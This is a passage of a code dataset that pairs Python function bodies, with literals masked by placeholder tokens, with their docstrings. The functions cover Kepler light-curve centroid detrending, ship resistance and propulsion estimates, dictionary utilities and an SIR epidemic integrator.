fit.\n\n    timestoignore : list of tuples\n        This is of the form::\n\n            [(time1_start, time1_end), (time2_start, time2_end), ...]\n\n        and indicates the start and end times to mask out of the final\n        lcdict. Use this to remove anything that wasn't caught by the quality\n        flags.\n\n    filterflags : bool\n        If True, will remove any measurements that have non-zero quality flags\n        present. This usually indicates an issue with the instrument or\n        spacecraft.\n\n    writetodict : bool\n        If writetodict is True, adds the following columns to the lcdict::\n\n            rfepd_time = time array\n            rfepd_sapflux = uncorrected flux before EPD\n            rfepd_epdsapflux = corrected flux after EPD\n            rfepd_epdsapcorr = EPD flux corrections\n            rfepd_bkg = background array\n            rfepd_bkg_err = background errors array\n            rfepd_xcc = xcoord array\n            rfepd_ycc = ycoord array\n            rfepd_quality = quality flag array\n\n        and updates the 'columns' list in the lcdict as well.\n\n    epdsmooth : int\n        Sets the number of light curve points to smooth over when generating the\n        EPD fit function.\n\n    decorr : {'xcc,ycc','bgv,bge','xcc,ycc,bgv,bge'}\n        Indicates whether to use the x,y coords alone; background value and\n        error alone; or x,y coords and background value, error in combination as\n        the features to training the `RandomForestRegressor` on and perform the\n        fit.\n\n    nrftrees : int\n        The number of trees to use in the `RandomForestRegressor`.\n\n    Returns\n    -------\n\n    tuple\n        Returns a tuple of the form: (times, corrected_fluxes, flux_corrections)", "id": "f14766:m14"}
{"signature": "def detrend_centroid(lcd, detrend='<STR_LIT>', sigclip=None, mingap=<NUM_LIT:0.5>):", "body": "qnum = npunique(lcd['<STR_LIT>'])<EOL>try:<EOL><INDENT>assert qnum.size == <NUM_LIT:1>, '<STR_LIT>'<EOL>assert detrend == '<STR_LIT>'<EOL>qnum = int(qnum)<EOL><DEDENT>except Exception as e:<EOL><INDENT>errflag = True<EOL><DEDENT>nbefore = lcd['<STR_LIT:time>'].size<EOL>times = lcd['<STR_LIT:time>'][lcd['<STR_LIT>'] == <NUM_LIT:0>]<EOL>ctd_x = lcd['<STR_LIT>'][lcd['<STR_LIT>'] == <NUM_LIT:0>]<EOL>ctd_y = lcd['<STR_LIT>'][lcd['<STR_LIT>'] == <NUM_LIT:0>]<EOL>ctd_x_err = lcd['<STR_LIT>'][lcd['<STR_LIT>'] == <NUM_LIT:0>]<EOL>ctd_y_err = lcd['<STR_LIT>'][lcd['<STR_LIT>'] == <NUM_LIT:0>]<EOL>find = npisfinite(times) & npisfinite(ctd_x) & npisfinite(ctd_y)<EOL>find &= (npisfinite(ctd_x_err)) & (npisfinite(ctd_y_err))<EOL>f_times, f_ctd_x, f_ctd_y = times[find], ctd_x[find], ctd_y[find]<EOL>f_ctd_x_err, f_ctd_y_err = ctd_x_err[find], ctd_y_err[find]<EOL>stimes_x, s_ctd_x, s_ctd_x_err = sigclip_magseries(<EOL>f_times,<EOL>f_ctd_x,<EOL>f_ctd_x_err,<EOL>magsarefluxes=True,<EOL>sigclip=<NUM_LIT><EOL>)<EOL>stimes_y, s_ctd_y, s_ctd_y_err = sigclip_magseries(<EOL>f_times,<EOL>f_ctd_y,<EOL>f_ctd_y_err,<EOL>magsarefluxes=True,<EOL>sigclip=<NUM_LIT><EOL>)<EOL>mask_x = npin1d(stimes_x, stimes_y)<EOL>s_times, s_ctd_x, s_ctd_x_err = (<EOL>stimes_x[mask_x],<EOL>s_ctd_x[mask_x],<EOL>s_ctd_x_err[mask_x]<EOL>)<EOL>mask_y = npin1d(stimes_y, stimes_x)<EOL>tmp, s_ctd_y, s_ctd_y_err = (<EOL>stimes_y[mask_y],<EOL>s_ctd_y[mask_y],<EOL>s_ctd_y_err[mask_y]<EOL>)<EOL>try:<EOL><INDENT>np.testing.assert_array_equal(s_times, tmp)<EOL>assert len(s_ctd_y) == len(s_times)<EOL>assert len(s_ctd_y_err) == len(s_times)<EOL>assert len(s_ctd_x) == len(s_times)<EOL>assert len(s_ctd_x_err) == len(s_times)<EOL><DEDENT>except AssertionError:<EOL><INDENT>return lcd, True<EOL><DEDENT>nqflag = s_times.size<EOL>ngroups, groups = find_lc_timegroups(s_times, mingap=mingap)<EOL>tmp_times, tmp_ctd_x, tmp_ctd_y = [], [], []<EOL>tmp_ctd_x_err, tmp_ctd_y_err = [], []<EOL>for group in groups:<EOL><INDENT>tg_times = s_times[group]<EOL>tg_ctd_x = s_ctd_x[group]<EOL>tg_ctd_y = s_ctd_y[group]<EOL>tg_ctd_x_err = s_ctd_x_err[group]<EOL>tg_ctd_y_err = s_ctd_y_err[group]<EOL>try:<EOL><INDENT>sel = ((tg_times > npmin(tg_times)+mingap) &<EOL>(tg_times < npmax(tg_times)-mingap))<EOL><DEDENT>except ValueError:<EOL><INDENT>continue<EOL><DEDENT>tmp_times.append(tg_times[sel])<EOL>tmp_ctd_x.append(tg_ctd_x[sel])<EOL>tmp_ctd_y.append(tg_ctd_y[sel])<EOL>tmp_ctd_x_err.append(tg_ctd_x_err[sel])<EOL>tmp_ctd_y_err.append(tg_ctd_y_err[sel])<EOL><DEDENT>s_times,s_ctd_x,s_ctd_y,s_ctd_x_err,s_ctd_y_err = (<EOL>nparray([]),nparray([]),nparray([]),nparray([]),nparray([])<EOL>)<EOL>for ix, _ in enumerate(tmp_times):<EOL><INDENT>s_times = npappend(s_times, tmp_times[ix])<EOL>s_ctd_x = npappend(s_ctd_x, tmp_ctd_x[ix])<EOL>s_ctd_y = npappend(s_ctd_y, tmp_ctd_y[ix])<EOL>s_ctd_x_err = npappend(s_ctd_x_err, tmp_ctd_x_err[ix])<EOL>s_ctd_y_err = npappend(s_ctd_y_err, tmp_ctd_y_err[ix])<EOL><DEDENT>try:<EOL><INDENT>s_ctd_x = s_ctd_x[(s_times > (npmin(s_times)+mingap)) &<EOL>(s_times < (npmax(s_times)-mingap))]<EOL><DEDENT>except Exception as e:<EOL><INDENT>LOGERROR('<STR_LIT>'.format(qnum))<EOL>return npnan, True<EOL><DEDENT>s_ctd_y = s_ctd_y[(s_times > (npmin(s_times)+mingap)) &<EOL>(s_times < (npmax(s_times)-mingap))]<EOL>s_ctd_x_err = s_ctd_x_err[(s_times > (npmin(s_times)+mingap)) &<EOL>(s_times < (npmax(s_times)-mingap))]<EOL>s_ctd_y_err = s_ctd_y_err[(s_times > (npmin(s_times)+mingap)) &<EOL>(s_times < (npmax(s_times)-mingap))]<EOL>s_times = s_times[(s_times > (npmin(s_times)+mingap)) &<EOL>(s_times < (npmax(s_times)-mingap))]<EOL>nafter = s_times.size<EOL>LOGINFO(<EOL>'<STR_LIT>'.format(qnum) +<EOL>'<STR_LIT>'.format(<EOL>nbefore, <NUM_LIT:1.><EOL>) +<EOL>'<STR_LIT>'.format(<EOL>nqflag, nqflag/float(nbefore)<EOL>) +<EOL>'<STR_LIT>'.format(<EOL>nafter, nafter/float(nbefore)<EOL>)<EOL>)<EOL>ctd_dtr = {}<EOL>if detrend == '<STR_LIT>':<EOL><INDENT>mingap = <NUM_LIT:0.5>  <EOL>ngroups, groups = find_lc_timegroups(s_times, mingap=mingap)<EOL>tmpctdxlegfit, tmpctdylegfit, legdegs = [], [], []<EOL>for group in groups:<EOL><INDENT>tg_times = s_times[group]<EOL>tg_ctd_x = s_ctd_x[group]<EOL>tg_ctd_x_err = s_ctd_x_err[group]<EOL>tg_ctd_y = s_ctd_y[group]<EOL>tg_ctd_y_err = s_ctd_y_err[group]<EOL>legdeg = _get_legendre_deg_ctd(len(tg_times))<EOL>tg_ctd_x_fit, _, _ = _legendre_dtr(tg_times,tg_ctd_x,tg_ctd_x_err,<EOL>legendredeg=legdeg)<EOL>tg_ctd_y_fit, _, _ = _legendre_dtr(tg_times,tg_ctd_y,tg_ctd_y_err,<EOL>legendredeg=legdeg)<EOL>tmpctdxlegfit.append(tg_ctd_x_fit)<EOL>tmpctdylegfit.append(tg_ctd_y_fit)<EOL>legdegs.append(legdeg)<EOL><DEDENT>fit_ctd_x, fit_ctd_y = nparray([]), nparray([])<EOL>for ix, _ in enumerate(tmpctdxlegfit):<EOL><INDENT>fit_ctd_x = npappend(fit_ctd_x, tmpctdxlegfit[ix])<EOL>fit_ctd_y = npappend(fit_ctd_y, tmpctdylegfit[ix])<EOL><DEDENT><DEDENT>ctd_dtr = {'<STR_LIT>':s_times,<EOL>'<STR_LIT>':s_ctd_x,<EOL>'<STR_LIT>':s_ctd_x_err,<EOL>'<STR_LIT>':fit_ctd_x,<EOL>'<STR_LIT>':s_ctd_y,<EOL>'<STR_LIT>':s_ctd_y_err,<EOL>'<STR_LIT>':fit_ctd_y}<EOL>lcd['<STR_LIT>'] = ctd_dtr<EOL>return lcd, False<EOL>", "docstring": "Detrends the x and y coordinate centroids for a Kepler light curve.\n\n    Given an `lcdict` for a single quarter of Kepler data, returned by\n    `read_kepler_fitslc`, this function returns this same dictionary,\n    appending detrended centroid_x and centroid_y values.\n\n    Here \"detrended\" means \"finite, SAP quality flag set to 0, sigma clipped,\n    timegroups selected based on `mingap` day gaps, then fit vs time by a\n    legendre polynomial of lowish degree\".\n\n    Parameters\n    ----------\n\n    lcd : lcdict\n        An `lcdict` generated by the `read_kepler_fitslc` function.\n\n    detrend : {'legendre'}\n        Method by which to detrend the LC. 'legendre' is the only thing\n        implemented at the moment.\n\n    sigclip : None or float or int or sequence of floats/ints\n        Determines the type and amount of sigma-clipping done on the light curve\n        to remove outliers. If None, no sigma-clipping is performed. If a two\n        element sequence of floats/ints, the first element corresponds to the\n        fainter sigma-clip limit, and the second element corresponds to the\n        brighter sigma-clip limit.\n\n    mingap : float\n        Number of days by which to define \"timegroups\" (for individual fitting\n        each of timegroup, and to eliminate \"burn-in\" of Kepler spacecraft. For\n        long cadence data, 0.5 days is typical.\n\n    Returns\n    -------\n\n    tuple\n        This is of the form `(lcd, errflag)`, where:\n\n        `lcd` : an `lcdict` with the new key `lcd['centroids']`, containing the\n        detrended times, (centroid_x, centroid_y) values, and their errors.\n\n        `errflag` : boolean error flag, could be raised at various points.", "id": "f14766:m15"}
{"signature": "def get_centroid_offsets(lcd, t_ing_egr, oot_buffer_time=<NUM_LIT:0.1>, sample_factor=<NUM_LIT:3>):", "body": "<EOL>qnum = int(np.unique(lcd['<STR_LIT>']))<EOL>LOGINFO('<STR_LIT>'.format(qnum))<EOL>arcsec_per_px = <NUM_LIT><EOL>times = lcd['<STR_LIT>']['<STR_LIT>']<EOL>ctd_resid_x = lcd['<STR_LIT>']['<STR_LIT>'] - lcd['<STR_LIT>']['<STR_LIT>']<EOL>ctd_resid_y = lcd['<STR_LIT>']['<STR_LIT>'] - lcd['<STR_LIT>']['<STR_LIT>']<EOL>cd = {}<EOL>for ix,(t_ing,t_egr) in enumerate(t_ing_egr):<EOL><INDENT>in_tra_times = times[(times > t_ing) & (times < t_egr)]<EOL>transit_dur = t_egr - t_ing<EOL>oot_window_len = sample_factor * transit_dur<EOL>oot_before = times[<EOL>(times < (t_ing-oot_buffer_time)) &<EOL>(times > (t_ing-oot_buffer_time-oot_window_len))<EOL>]<EOL>oot_after = times[<EOL>(times > (t_egr+oot_buffer_time)) &<EOL>(times < (t_egr+oot_buffer_time+oot_window_len))<EOL>]<EOL>oot_times = npconcatenate([oot_before, oot_after])<EOL>mask_tra = npin1d(times, in_tra_times)<EOL>mask_oot = npin1d(times, oot_times)<EOL>ctd_x_in_tra = ctd_resid_x[mask_tra]*arcsec_per_px<EOL>ctd_y_in_tra = ctd_resid_y[mask_tra]*arcsec_per_px<EOL>ctd_x_oot = ctd_resid_x[mask_oot]*arcsec_per_px<EOL>ctd_y_oot = ctd_resid_y[mask_oot]*arcsec_per_px<EOL>cd[ix] = {'<STR_LIT>':ctd_x_in_tra,<EOL>'<STR_LIT>':ctd_y_in_tra,<EOL>'<STR_LIT>':ctd_x_oot,<EOL>'<STR_LIT>':ctd_y_oot,<EOL>'<STR_LIT>':len(ctd_x_in_tra),<EOL>'<STR_LIT>':len(ctd_x_oot),<EOL>'<STR_LIT>':in_tra_times,<EOL>'<STR_LIT>':oot_times}<EOL><DEDENT>LOGINFO('<STR_LIT>'.format(qnum))<EOL>return cd<EOL>", "docstring": "After running `detrend_centroid`, this gets positions of centroids during\n    transits, and outside of transits.\n\n    These positions can then be used in a false positive analysis.\n\n    This routine requires knowing the ingress and egress times for every\n    transit of interest within the quarter this routine is being called for.\n    There is currently no astrobase routine that automates this for periodic\n    transits (it must be done in a calling routine).\n\n    To get out of transit centroids, this routine takes points outside of the\n    \"buffer\" set by `oot_buffer_time`, sampling 3x as many points on either\n    side of the transit as are in the transit (or however many are specified by\n    `sample_factor`).\n\n    Parameters\n    ----------\n\n    lcd : lcdict\n        An `lcdict` generated by the `read_kepler_fitslc` function. We assume\n        that the `detrend_centroid` function has been run on this `lcdict`.\n\n    t_ing_egr : list of tuples\n        This is of the form::\n\n            [(ingress time of i^th transit, egress time of i^th transit)]\n\n        for i the transit number index in this quarter (starts at zero at the\n        beginning of every quarter). Assumes units of BJD.\n\n    oot_buffer_time : float\n        Number of days away from ingress and egress times to begin sampling \"out\n        of transit\" centroid points. The number of out of transit points to take\n        per transit is 3x the number of points in transit.\n\n    sample_factor : float\n        The size of out of transit window from which to sample.\n\n    Returns\n    -------\n\n    dict\n        This is a dictionary keyed by transit number (i.e., the same index as\n        `t_ing_egr`), where each key contains the following value::\n\n            {'ctd_x_in_tra':ctd_x_in_tra,\n             'ctd_y_in_tra':ctd_y_in_tra,\n             'ctd_x_oot':ctd_x_oot,\n             'ctd_y_oot':ctd_y_oot,\n             'npts_in_tra':len(ctd_x_in_tra),\n             'npts_oot':len(ctd_x_oot),\n             'in_tra_times':in_tra_times,\n             'oot_times':oot_times}", "id": "f14766:m16"}
{"signature": "def _get_legendre_deg_ctd(npts):", "body": "from scipy.interpolate import interp1d<EOL>degs = nparray([<NUM_LIT:4>,<NUM_LIT:5>,<NUM_LIT:6>,<NUM_LIT:10>,<NUM_LIT:15>])<EOL>pts = nparray([<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>,<NUM_LIT>])<EOL>fn = interp1d(pts, degs, kind='<STR_LIT>',<EOL>bounds_error=False,<EOL>fill_value=(min(degs), max(degs)))<EOL>legendredeg = int(npfloor(fn(npts)))<EOL>return legendredeg<EOL>", "docstring": "This is a helper function for centroid detrending.", "id": "f14766:m17"}
{"signature": "def _legendre_dtr(x, y, y_err, legendredeg=<NUM_LIT:10>):", "body": "try:<EOL><INDENT>p = Legendre.fit(x, y, legendredeg)<EOL>fit_y = p(x)<EOL><DEDENT>except Exception as e:<EOL><INDENT>fit_y = npzeros_like(y)<EOL><DEDENT>fitchisq = npsum(<EOL>((fit_y - y)*(fit_y - y)) / (y_err*y_err)<EOL>)<EOL>nparams = legendredeg + <NUM_LIT:1><EOL>fitredchisq = fitchisq/(len(y) - nparams - <NUM_LIT:1>)<EOL>LOGINFO(<EOL>'<STR_LIT>' %<EOL>(fitchisq, fitredchisq)<EOL>)<EOL>return fit_y, fitchisq, fitredchisq<EOL>", "docstring": "This calculates the residual and chi-sq values for a Legendre\n    function fit.\n\n    Parameters\n    ----------\n\n    x : np.array\n        Array of the independent variable.\n\n    y : np.array\n        Array of the dependent variable.\n\n    y_err : np.array\n        Array of errors associated with each `y` value. Used to calculate fit\n        weights.\n\n    legendredeg : int\n        The degree of the Legendre function to use when fitting.\n\n    Returns\n    -------\n\n    tuple\n        The tuple returned is of the form: (fit_y, fitchisq, fitredchisq)", "id": "f14766:m18"}
{"signature": "def pre(self, command, output_dir, vars):", "body": "<EOL>vars['<STR_LIT>'] = '<STR_LIT>'<EOL>vars['<STR_LIT>'] = time.strftime('<STR_LIT>', time.localtime())<EOL>", "docstring": "Called before template is applied.", "id": "f14769:c0:m0"}
{"signature": "def frictional_resistance_coef(length, speed, **kwargs):", "body": "Cf = <NUM_LIT> / (np.log10(reynolds_number(length, speed, **kwargs)) - <NUM_LIT:2>) ** <NUM_LIT:2><EOL>return Cf<EOL>", "docstring": "Flat plate frictional resistance of the ship according to ITTC formula.\nref: https://ittc.info/media/2021/75-02-02-02.pdf\n\n:param length: metres length of the vehicle\n:param speed: m/s speed of the vehicle\n:param kwargs: optional could take in temperature to take account change of water property\n:return: Frictional resistance coefficient of the vehicle", "id": "f14773:m0"}
{"signature": "def reynolds_number(length, speed, temperature=<NUM_LIT>):", "body": "kinematic_viscosity = interpolate.interp1d([<NUM_LIT:0>, <NUM_LIT:10>, <NUM_LIT:20>, <NUM_LIT>, <NUM_LIT:30>, <NUM_LIT>],<EOL>np.array([<NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>]) / <NUM_LIT:10> ** <NUM_LIT:7>)<EOL>Re = length * speed / kinematic_viscosity(temperature)<EOL>return Re<EOL>", "docstring": "Reynold number utility function that return Reynold number for vehicle at specific length and speed.\nOptionally, it can also take account of temperature effect of sea water.\n\n    Kinematic viscosity from: http://web.mit.edu/seawater/2017_MIT_Seawater_Property_Tables_r2.pdf\n\n:param length: metres length of the vehicle\n:param speed: m/s speed of the vehicle\n:param temperature: degree C \n:return: Reynolds number of the vehicle (dimensionless)", "id": "f14773:m1"}
{"signature": "def froude_number(speed, length):", "body": "g = <NUM_LIT>  <EOL>Fr = speed / np.sqrt(g * length)<EOL>return Fr<EOL>", "docstring": "Froude number utility function that return Froude number for vehicle at specific length and speed.\n\n:param speed: m/s speed of the vehicle\n:param length: metres length of the vehicle\n:return: Froude number of the vehicle (dimensionless)", "id": "f14773:m2"}
{"signature": "def residual_resistance_coef(slenderness, prismatic_coef, froude_number):", "body": "Cr = cr(slenderness, prismatic_coef, froude_number)<EOL>if math.isnan(Cr):<EOL><INDENT>Cr = cr_nearest(slenderness, prismatic_coef, froude_number)<EOL><DEDENT>return Cr<EOL>", "docstring": "Residual resistance coefficient estimation from slenderness function, prismatic coefficient and Froude number.\n\n:param slenderness: Slenderness coefficient dimensionless :math:`L/(\u2207^{1/3})` where L is length of ship, \u2207 is displacement\n:param prismatic_coef: Prismatic coefficient dimensionless :math:`\u2207/(L\\cdot A_m)` where L is length of ship, \u2207 is displacement Am is midsection area of the ship\n:param froude_number: Froude number of the ship dimensionless \n:return: Residual resistance of the ship", "id": "f14773:m3"}
{"signature": "def dimension(self, length, draught, beam, speed,<EOL>slenderness_coefficient, prismatic_coefficient):", "body": "self.length = length<EOL>self.draught = draught<EOL>self.beam = beam<EOL>self.speed = speed<EOL>self.slenderness_coefficient = slenderness_coefficient<EOL>self.prismatic_coefficient = prismatic_coefficient<EOL>self.displacement = (self.length / self.slenderness_coefficient) ** <NUM_LIT:3><EOL>self.surface_area = <NUM_LIT> * (<NUM_LIT> * self.length * self.draught +<EOL>self.displacement / self.draught)<EOL>", "docstring": "Assign values for the main dimension of a ship.\n\n:param length: metres length of the vehicle\n:param draught: metres draught of the vehicle\n:param beam: metres beam of the vehicle\n:param speed: m/s speed of the vehicle\n:param slenderness_coefficient: Slenderness coefficient dimensionless :math:`L/(\u2207^{1/3})` where L is length of ship,\n    \u2207 is displacement\n:param prismatic_coefficient: Prismatic coefficient dimensionless :math:`\u2207/(L\\cdot A_m)` where L is length of ship,\n    \u2207 is displacement Am is midsection area of the ship", "id": "f14773:c0:m1"}
{"signature": "def resistance(self):", "body": "self.total_resistance_coef = frictional_resistance_coef(self.length, self.speed) +residual_resistance_coef(self.slenderness_coefficient,<EOL>self.prismatic_coefficient,<EOL>froude_number(self.speed, self.length))<EOL>RT = <NUM_LIT:1> / <NUM_LIT:2> * self.total_resistance_coef * <NUM_LIT> * self.surface_area * self.speed ** <NUM_LIT:2><EOL>return RT<EOL>", "docstring": "Return resistance of the vehicle.\n\n:return: newton the resistance of the ship", "id": "f14773:c0:m2"}
{"signature": "def maximum_deck_area(self, water_plane_coef=<NUM_LIT>):", "body": "AD = self.beam * self.length * water_plane_coef<EOL>return AD<EOL>", "docstring": "Return the maximum deck area of the ship\n\n:param water_plane_coef: optional water plane coefficient\n:return: Area of the deck", "id": "f14773:c0:m3"}
{"signature": "def get_reynold_number(self):", "body": "return reynolds_number(self.length, self.speed)<EOL>", "docstring": "Return Reynold number of the ship\n\n:return: Reynold number of the ship", "id": "f14773:c0:m4"}
{"signature": "def prop_power(self, propulsion_eff=<NUM_LIT>, sea_margin=<NUM_LIT>):", "body": "PP = (<NUM_LIT:1> + sea_margin) * self.resistance() * self.speed/propulsion_eff<EOL>return PP<EOL>", "docstring": "Total propulsion power of the ship.\n\n:param propulsion_eff: Shaft efficiency of the ship\n:param sea_margin: Sea margin take account of interaction between ship and the sea, e.g. wave\n:return: Watts shaft propulsion power of the ship", "id": "f14773:c0:m5"}
{"signature": "def digits(n):", "body": "return len(str(n).split('<STR_LIT:.>')[-<NUM_LIT:1>])<EOL>", "docstring": "Count the digits of a given float number\n:param n: the float number\n:return: number of digits", "id": "f14774:m0"}
{"signature": "def random_chars(n):", "body": "return '<STR_LIT>'.join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(n))<EOL>", "docstring": "Generate a random string from a-zA-Z0-9\n:param n: length of the string\n:return: the random string", "id": "f14774:m1"}
{"signature": "def random_letters(n):", "body": "return '<STR_LIT>'.join(random.SystemRandom().choice(string.ascii_letters) for _ in range(n))<EOL>", "docstring": "Generate a random string from a-zA-Z\n:param n: length of the string\n:return: the random string", "id": "f14774:m2"}
{"signature": "def random_numbers(n):", "body": "return '<STR_LIT>'.join(random.SystemRandom().choice(string.digits) for _ in range(n))<EOL>", "docstring": "Generate a random string from 0-9\n:param n: length of the string\n:return: the random string", "id": "f14774:m3"}
{"signature": "def dict_search(d, k, v):", "body": "for i in range(len(d)):<EOL><INDENT>if d[i][k] == v:<EOL><INDENT>return i<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Search dictionary list by key and value\n:param d: dictionary list\n:param k: key\n:param v: value\n:return: the index of the first dictionary in the array with the specific key / value", "id": "f14774:m4"}
{"signature": "def dict_merge(a, b, k):", "body": "c = a.copy()<EOL>for j in range(len(b)):<EOL><INDENT>flag = False<EOL>for i in range(len(c)):<EOL><INDENT>if c[i][k] == b[j][k]:<EOL><INDENT>c[i] = b[j].copy()<EOL>flag = True<EOL><DEDENT><DEDENT>if not flag:<EOL><INDENT>c.append(b[j].copy())<EOL><DEDENT><DEDENT>return c<EOL>", "docstring": "Merge two dictionary lists\n:param a: original list\n:param b: alternative list, element will replace the one in original list with same key\n:param k: key\n:return: the merged list", "id": "f14774:m5"}
{"signature": "def dict_sort(d, k):", "body": "return sorted(d.copy(), key=lambda i: i[k])<EOL>", "docstring": "Sort a dictionary list by key\n:param d: dictionary list\n:param k: key\n:return: sorted dictionary list", "id": "f14774:m6"}
{"signature": "def dict_top(d, k, n, reverse=False):", "body": "h = list()<EOL>for i in range(len(d)):<EOL><INDENT>heappush(h, (-d[i][k] if reverse else d[i][k], i))<EOL><DEDENT>r = list()<EOL>while len(r) < n and len(h) > <NUM_LIT:0>:<EOL><INDENT>_, i = heappop(h)<EOL>r.append(d[i].copy())<EOL><DEDENT>return r<EOL>", "docstring": "Return top n of a dictionary list sorted by key\n:param d: dictionary list\n:param k: key\n:param n: top n\n:param reverse: whether the value should be reversed\n:return: top n of the sorted dictionary list", "id": "f14774:m7"}
{"signature": "def dict_flatten(d):", "body": "if type(d) != dict:<EOL><INDENT>return d<EOL><DEDENT>else:<EOL><INDENT>dd = dict()<EOL>for key, value in d.items():<EOL><INDENT>if type(value) == dict:<EOL><INDENT>for k, v in value.items():<EOL><INDENT>dd[key + '<STR_LIT:_>' + k] = dict_flatten(v)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>dd[key] = value<EOL><DEDENT><DEDENT>return dd<EOL><DEDENT>", "docstring": "Replace nested dict keys to underscore-connected keys\n:param d: the dictionary\n:return: flattened dictionary", "id": "f14774:m8"}
{"signature": "def dict_format_type(d, source, formatter, include_list=True):", "body": "if not isinstance(d, dict):<EOL><INDENT>if isinstance(d, source):<EOL><INDENT>return formatter(d)<EOL><DEDENT>else:<EOL><INDENT>return d<EOL><DEDENT><DEDENT>else:<EOL><INDENT>dd = dict()<EOL>for key, value in d.items():<EOL><INDENT>if include_list and isinstance(value, list):<EOL><INDENT>dd[key] = [dict_format_type(i, source, formatter) for i in value]<EOL><DEDENT>elif isinstance(value, dict):<EOL><INDENT>dd[key] = dict_format_type(value, source, formatter)<EOL><DEDENT>elif isinstance(value, source):<EOL><INDENT>dd[key] = formatter(value)<EOL><DEDENT>else:<EOL><INDENT>dd[key] = value<EOL><DEDENT><DEDENT>return dd<EOL><DEDENT>", "docstring": "Replace the values of a dict with certain type to other values\n:param d: the dictionary\n:param source: the source type, e.g., int\n:param formatter: the formatter method, e.g., return the string format of an int\n:param include_list: whether list should be formatted, otherwise list will be considered as source type\n:return: formatted dictionary", "id": "f14774:m9"}
{"signature": "def dict_remove_key(d, k):", "body": "dd = dict()<EOL>for key, value in d.items():<EOL><INDENT>if not key == k:<EOL><INDENT>if isinstance(value, dict):<EOL><INDENT>dd[key] = dict_remove_key(value, k)<EOL><DEDENT>elif isinstance(value, list):<EOL><INDENT>dd[key] = [dict_remove_key(i, k) for i in value]<EOL><DEDENT>else:<EOL><INDENT>dd[key] = value<EOL><DEDENT><DEDENT><DEDENT>return dd<EOL>", "docstring": "Recursively remove a key from a dict\n:param d: the dictionary\n:param k: key which should be removed\n:return: formatted dictionary", "id": "f14774:m10"}
{"signature": "def dict_remove_value(d, v):", "body": "dd = dict()<EOL>for key, value in d.items():<EOL><INDENT>if not value == v:<EOL><INDENT>if isinstance(value, dict):<EOL><INDENT>dd[key] = dict_remove_value(value, v)<EOL><DEDENT>elif isinstance(value, list):<EOL><INDENT>dd[key] = [dict_remove_value(i, v) for i in value]<EOL><DEDENT>else:<EOL><INDENT>dd[key] = value<EOL><DEDENT><DEDENT><DEDENT>return dd<EOL>", "docstring": "Recursively remove keys with a certain value from a dict\n:param d: the dictionary\n:param v: value which should be removed\n:return: formatted dictionary", "id": "f14774:m11"}
{"signature": "def dict_as_tuple_list(d, as_list=False):", "body": "dd = list()<EOL>for k, v in d.items():<EOL><INDENT>dd.append([k, v] if as_list else (k, v))<EOL><DEDENT>return dd<EOL>", "docstring": "Format a dict to a list of tuples\n:param d: the dictionary\n:param as_list: return a list of lists rather than a list of tuples\n:return: formatted dictionary list", "id": "f14774:m12"}
{"signature": "def tuple_search(t, i, v):", "body": "for e in t:<EOL><INDENT>if e[i] == v:<EOL><INDENT>return e<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "Search tuple array by index and value\n:param t: tuple array\n:param i: index of the value in each tuple\n:param v: value\n:return: the first tuple in the array with the specific index / value", "id": "f14774:m13"}
{"signature": "def string_insert(str1, str2, i):", "body": "return str1[:i] + str2 + str1[i:]<EOL>", "docstring": "Insert a string in the middle of another string\n:param str1: the original string\n:param str2: the string to be inserted\n:param i: the index of the insertion position\n:return: the resulting string", "id": "f14774:m14"}
{"signature": "def format_datetime(t: datetime = None):", "body": "return (datetime.now() if t is None else t).strftime('<STR_LIT>')<EOL>", "docstring": "Format a datetime object into yyyy-MM-dd hh:mm:ss\n:param t: datetime object, default: now\n:return: the formatted string", "id": "f14774:m15"}
{"signature": "def format_date(t: datetime = None):", "body": "return (datetime.now() if t is None else t).strftime('<STR_LIT>')<EOL>", "docstring": "Format a datetime object into yyyy-MM-dd\n:param t: datetime object, default: now\n:return: the formatted string", "id": "f14774:m16"}
{"signature": "def format_time(t: datetime = None):", "body": "return (datetime.now() if t is None else t).strftime('<STR_LIT>')<EOL>", "docstring": "Format a datetime object into hh:mm:ss\n:param t: datetime object, default: now\n:return: the formatted string", "id": "f14774:m17"}
{"signature": "def progress(count, total, prefix='<STR_LIT>', suffix='<STR_LIT>', length=<NUM_LIT>):", "body": "bar_len = length<EOL>filled_len = int(round(bar_len * count / float(total)))<EOL>percents = round(<NUM_LIT> * count / float(total), <NUM_LIT:1>)<EOL>bar = '<STR_LIT:=>' * filled_len + '<STR_LIT:->' * (bar_len - filled_len)<EOL>sys.stdout.write('<STR_LIT>' % (prefix, bar, percents, '<STR_LIT:%>', '<STR_LIT:U+0020>' + suffix))<EOL>sys.stdout.flush()<EOL>", "docstring": "Show a progress bar\n:param count: current progress\n:param total: total progress\n:param prefix: prefix shown before the progress bar\n:param suffix: suffix shown after the progress bar\n:param length: length of the progress bar, default: 60\n:return: none", "id": "f14774:m18"}
{"signature": "def __init__(self, path='<STR_LIT:.>', prefix='<STR_LIT>', buffer=<NUM_LIT>):", "body": "self.data = list()<EOL>self.path = path<EOL>self.prefix = prefix<EOL>self.buffer = buffer<EOL>", "docstring": "Buffered writer\n:param path: writing path where files will be stored as <timestamp>.dat.gz\n:param prefix: prefix for all files\n:param buffer: the buffer size", "id": "f14776:c0:m0"}
{"signature": "def SIRode(y0, time, beta, gamma):", "body": "Xsim = rk4(SIR_D, y0, time, args=(beta,gamma,))<EOL>Xsim = Xsim.transpose()<EOL>return Xsim<EOL>", "docstring": "Integrate SIR epidemic model\n\n    Simulate a very basic deterministic SIR system.\n\n    :param 2x1 numpy array y0: initial conditions\n    :param Ntimestep length numpy array time: Vector of time points that \\\n    solution is returned at\n    :param float beta: transmission rate\n    :param float gamma: recovery rate\n\n    :returns: (2)x(Ntimestep) numpy array Xsim: first row S(t), second row I(t)", "id": "f14791:m0"}
